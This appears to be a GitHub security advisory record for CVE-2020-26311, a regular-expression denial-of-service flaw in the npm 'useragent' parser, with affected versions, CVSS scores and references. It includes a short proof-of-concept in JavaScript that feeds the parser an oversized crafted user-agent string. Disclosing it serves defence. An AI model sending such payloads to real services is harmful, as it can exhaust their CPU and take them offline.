GHSA-MGFV-M47X-4WQP
Vulnerability from github – Published: 2024-10-26 21:30 – Updated: 2025-09-03 15:17
VLAI
Summary
useragent Regular Expression Denial of Service vulnerability
Details
Useragent is a user agent parser for Node.js. All versions as of time of publication contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS).
PoC
async function exploit() {
const useragent = require(\"useragent\");
// Create a malicious user-agent that leads to excessive backtracking
const maliciousUserAgent = 'Mozilla/5.0 (' + 'X'.repeat(30000) + ') Gecko/20100101 Firefox/77.0';
// Parse the malicious user-agent
const agent = useragent.parse(maliciousUserAgent);
// Call the toString method to trigger the vulnerability
const result = await agent.device.toString();
console.log(result);
}
await exploit();
Severity
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "useragent"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-26311"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2024-10-28T15:01:50Z",
"nvd_published_at": "2024-10-26T21:15:14Z",
"severity": "MODERATE"
},
"details": "Useragent is a user agent parser for Node.js. All versions as of time of publication contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS).\n\n## PoC\n```js\nasync function exploit() {\n const useragent = require(\\\"useragent\\\");\n\n // Create a malicious user-agent that leads to excessive backtracking\n const maliciousUserAgent = \u0027Mozilla/5.0 (\u0027 + \u0027X\u0027.repeat(30000) + \u0027) Gecko/20100101 Firefox/77.0\u0027;\n\n // Parse the malicious user-agent\n const agent = useragent.parse(maliciousUserAgent);\n\n // Call the toString method to trigger the vulnerability\n const result = await agent.device.toString();\n console.log(result);\n}\n\nawait exploit();\n```",
"id": "GHSA-mgfv-m47x-4wqp",
"modified": "2025-09-03T15:17:53Z",
"published": "2024-10-26T21:30:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26311"
},
{
"type": "WEB",
"url": "https://github.com/3rd-Eden/useragent/issues/167"
},
{
"type": "WEB",
"url": "https://github.com/3rd-Eden/useragent/commit/4c3ee79358bea72d88fe78ac98f4f861db40b89b"
},
{
"type": "PACKAGE",
"url": "https://github.com/3rd-Eden/useragent"
},
{
"type": "WEB",
"url": "https://github.com/3rd-Eden/useragent/blob/ffa906f923183c85fbb9e6c90f19345e2bd3c52a/lib/regexps.js#L5568"
},
{
"type": "ADVISORY",
"url": "https://securitylab.github.com/advisories/GHSL-2020-312-redos-useragent"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U/U:Green",
"type": "CVSS_V4"
}
],
"summary": "useragent Regular Expression Denial of Service vulnerability"
}
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The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
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